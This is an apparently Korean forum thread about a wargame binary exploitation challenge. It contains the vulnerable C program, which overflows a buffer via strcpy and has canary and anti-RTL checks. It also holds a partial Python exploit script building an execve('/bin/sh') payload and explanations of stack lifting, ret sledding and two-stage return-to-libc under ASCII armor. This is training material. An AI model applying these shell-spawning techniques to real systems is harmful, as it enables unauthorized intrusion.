|  |
| |
| vngkv123 |
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int vuln(int canary,char *ptr)
{
char buffer[256];
int *ret;
// stack overflow!!
strcpy(buffer,ptr);
// overflow protected
if(canary != 0x31337)
{
printf("who broke my canary?!");
exit(1);
}
// preventing RTL
ret = &canary - 1;
if((*ret & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}
// clearing attack buffer
memset(ptr, 0, 1024);
return 0;
}
int main()
{
char buffer[1024];
printf("enigma : The brothers will be glad to have you!\n");
printf("you : ");
fflush(stdout);
// give me a food!
fgets(buffer, 1024, stdin);
// oops~!
vuln(0x31337, buffer);
// bye bye
exit(0);
} |
2017/03/29 |
|
| vngkv123 |
파이썬 익스코드는 이렇습니다
import struct
import os
import socket
import time
p = lambda x : struct.pack("<L",x)
leaveret = 0x0804858e
canary = 0x31337
execve = 0x832abc
stdin = 0xb7f89000
system = 0x7db0e7
binsh = 0x8bd987
payload = "A"*260
payload += p(stdin + 0x110) + p(leaveret) + p(canary)
payload += p(stdin + 0x114)
payload += p(execve) + "A"*4 + p(binsh) + p(stdin + 0x11c) + p(0x0) |
2017/03/29 |
|
| 해쿨러 |
아하 오래전이라 잘 기억은 안나지만 아마 fc4에는 Solar Designer가 제안한 아스키아머가 아직 사용되던 시기였을 겁니다
그래서 라이브러리 주소에 RTL 인자전달을 막기위한 null바이트가 최상위바이트에 항상 존재하죠
그리고 재밌는건 입력을 vuln에서 받는게 아니라 main에서 받아서 넘기기 때문에
vuln함수의 리턴어드레스 이후로 카나리와 버퍼주소가 있고 바로 버퍼의 컨텐트가 이어집니다
결국 페1이로드를 ret너머 1024바이트만큼 더 쓸수도있단 소리죠
add esp 가젯을 이용해 stack lifting을 하셔서 buffer의 첫시작즈음부터 RET Sledding을 하셔서 vuln의 버퍼를 오버플로우 시킬수 있을만큼 ret sledding을 하신다음에 vuln의 리턴자리에는 stack lifting + ret 을 넣으시고 그다음에 카나리를 기준으로 vuln은 strcpy를 무조건 종료해야 하니 그 이후에 NULL바이트를 포함한 RTL 페1이로드를 넣으시면 됩니다 |
2017/03/30 |
|
| 해쿨러 |
그러니까 입력은 하나지만 공격의 phase를 두단계로 나눠서 생각하시면 됩니다 |
2017/03/30 |
|